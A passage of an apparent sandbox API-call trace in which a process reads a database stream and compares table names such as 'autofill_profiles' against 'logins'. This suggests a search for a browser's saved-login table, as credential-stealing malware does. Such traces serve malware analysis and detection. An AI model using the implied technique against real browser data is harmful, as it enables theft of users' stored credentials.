LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.222] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.222] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x55, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.222] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x2f, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.223] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.223] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x0, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.223] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670e18 [0079.223] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.223] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x69, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.223] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.223] LocalFree (hMem=0x6687b0) returned 0x0 [0079.223] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6293a8 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.223] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6293a8, cb=0x24, pcbRead=0x12f8f8 | out: pv=0x6293a8*=0x73, pcbRead=0x12f8f8*=0x24) returned 0x0 [0079.223] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647b70 [0079.223] LocalFree (hMem=0x6293a8) returned 0x0 [0079.223] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x670c38 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.223] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.224] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x670c38, cb=0x11, pcbRead=0x12f8f8 | out: pv=0x670c38*=0x61, pcbRead=0x12f8f8*=0x11) returned 0x0 [0079.224] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0079.224] LocalFree (hMem=0x670c38) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x40, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.224] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0xc, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.224] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.224] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.224] LocalFree (hMem=0x670d78) returned 0x0 [0079.224] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.224] lstrcmpiA (lpString1="autofill_profiles", lpString2="logins") returned -1 [0079.224] LocalFree (hMem=0x664350) returned 0x0 [0079.224] LocalFree (hMem=0x647b70) returned 0x0 [0079.224] LocalFree (hMem=0x652d58) returned 0x0 [0079.224] LocalFree (hMem=0x665780) returned 0x0 [0079.224] LocalFree (hMem=0x6687b0) returned 0x0 [0079.224] LocalFree (hMem=0x670e18) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6adb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6adb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.224] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x81, pcbRead=0x12f928*=0x1) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.224] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6adc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.225] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x3b, pcbRead=0x12f928*=0x1) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6add, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.225] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0xc, pcbRead=0x12f928*=0x1) returned 0x0 [0079.225] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.225] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6ade, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.225] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0xbb, pcbRead=0x12f938 | out: pv=0x655310*=0x7, pcbRead=0x12f938*=0xbb) returned 0x0 [0079.225] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0xbb, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0xbb) returned 0x0 [0079.225] LocalFree (hMem=0x655310) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.225] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.225] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x7, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.226] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670e18 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.226] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.226] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x39, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.226] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x39, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.226] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.226] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.227] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x82, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.227] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x11, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.227] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.227] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.227] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x74, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.227] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.227] LocalFree (hMem=0x6687b0) returned 0x0 [0079.227] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.227] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.227] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x670c38, cb=0x16, pcbRead=0x12f8f8 | out: pv=0x670c38*=0x61, pcbRead=0x12f8f8*=0x16) returned 0x0 [0079.227] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x652d58 [0079.227] LocalFree (hMem=0x670c38) returned 0x0 [0079.228] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.228] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.228] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.228] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x22, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.228] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x670c38, cb=0x16, pcbRead=0x12f8f8 | out: pv=0x670c38*=0x61, pcbRead=0x12f8f8*=0x16) returned 0x0 [0079.228] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x652cb0 [0079.228] LocalFree (hMem=0x670c38) returned 0x0 [0079.228] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.228] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.228] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x38, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.228] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0xf, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.228] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.228] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6506b8 [0079.228] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.228] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.228] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x39, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.228] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6506b8, cb=0x82, pcbRead=0x12f8f8 | out: pv=0x6506b8*=0x43, pcbRead=0x12f8f8*=0x82) returned 0x0 [0079.228] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x67b3a8 [0079.228] LocalFree (hMem=0x6506b8) returned 0x0 [0079.228] LocalFree (hMem=0x670e18) returned 0x0 [0079.228] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.228] lstrcmpiA (lpString1="autofill_profile_names", lpString2="logins") returned -1 [0079.228] LocalFree (hMem=0x665780) returned 0x0 [0079.228] LocalFree (hMem=0x652d58) returned 0x0 [0079.228] LocalFree (hMem=0x652cb0) returned 0x0 [0079.228] LocalFree (hMem=0x664350) returned 0x0 [0079.228] LocalFree (hMem=0x67b3a8) returned 0x0 [0079.229] LocalFree (hMem=0x670d78) returned 0x0 [0079.229] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6a5b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.229] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.229] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.229] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6a5b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.229] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x7e, pcbRead=0x12f928*=0x1) returned 0x0 [0079.229] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.229] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.229] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6a5c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.229] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0xd, pcbRead=0x12f928*=0x1) returned 0x0 [0079.229] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.229] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.229] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6a5d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.230] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x7e, pcbRead=0x12f938 | out: pv=0x655310*=0x7, pcbRead=0x12f938*=0x7e) returned 0x0 [0079.230] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0x7e, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x7e) returned 0x0 [0079.230] LocalFree (hMem=0x655310) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.230] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x7, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.230] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670d78 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.230] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.230] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.230] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x3b, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.231] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x3b, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.231] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.231] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x81, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.231] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670e18 [0079.231] LocalAlloc 